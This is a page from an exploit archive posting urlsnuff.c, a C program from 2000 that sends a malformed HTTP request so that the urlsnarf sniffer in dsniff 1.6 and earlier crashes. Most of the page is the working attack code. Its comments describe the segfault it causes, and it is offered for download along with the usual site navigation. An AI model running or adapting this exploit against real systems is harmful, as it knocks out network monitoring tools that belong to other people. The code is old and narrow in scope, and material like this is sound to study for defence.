exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

urlsnuff.c

urlsnuff.c
Posted Mar 16, 2000
Authored by Obecian | Site celerity.bartoli.org

Urlsnuff is a urlsniff dos attack. If urlsniff sees this malformed combination of HTTP Requests.

tags | web, denial of service
SHA-256 | 4899b441032bc837dfa3f7eb710e22b3ebaa52024993606408fe14da05fc4ae3

urlsnuff.c

Change Mirror Download
/*
* public release date: 03/16/2000
*
* "They're after me Lucky Charmz" - Happy Irish Day [3/17/2000]
* so i'm celebrating the day before too... uNF =P
*
* urlsnuff - stupid remote urlsnarf dos attack (works on dsniff <=1.6)
* by obecian <obecian@celerity.bartoli.org>
*
* notes: i decided to look at dugsongs code and was playing with urlsnarf
* and noticed something amusing -- yeah so it's lame - it's still effective
* urlsnarf will die if it sees this malformed combination of HTTP Requests
* i'm sure there's other combinations, but i'm out of time, and i discovered
* this completely on accident
*
* greetz: cripto, bind, ph1x, quakemstr, curq, kgbud, arethusa ssh irc krew,
* openbsd core team (you guys kick ass!), and everyone else i forgot
*
*/

#define TITLE "urlsnuff - urlsnarf snuffer (works on dsniff <= 1.6)"
#define CODER "(c) 2000 obecian <obecian@celerity.bartoli.org>"

#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

void usage(char *);

int
main(int argc, char **argv)
{
int numbytes;
int sock;
struct sockaddr_in sin;
struct hostent *he;
char buffsnuff[1024];
char *webserver;
if (argc < 2) {usage(argv[0]); exit(1);}
webserver = argv[1];
if ((he = gethostbyname(webserver)) == NULL)
{herror("gethostbyname"); exit(1);}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{perror("socket"); exit(1);}
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(sin.sin_zero), 8);
printf("connecting to arbitrary webserver...\n");
if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{perror("connect"); exit(1);}
printf("throwing amusement =*)\n");
/* we send a legitimate prefix so urlsnarf deals with it, but then we take
advantage and give it an inappropriate suffix and BARF - we see our
friend mr. segfault */
snprintf(buffsnuff, sizeof(buffsnuff), "Referer: http://celerity.bartoli.org\r\n\r\n");
if ((write(sock, &buffsnuff, sizeof(buffsnuff)))<0) {perror("write");
exit(1);}
printf("urlsnarf seg request thrown... sniffer be gone\n\n");
close(sock);
exit(0);
}

void
usage(char *arg)
{
putchar('\n'); puts(TITLE); puts(CODER); putchar('\n');
printf("usage: %s <arbitrary webserver>\n", arg);
return;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close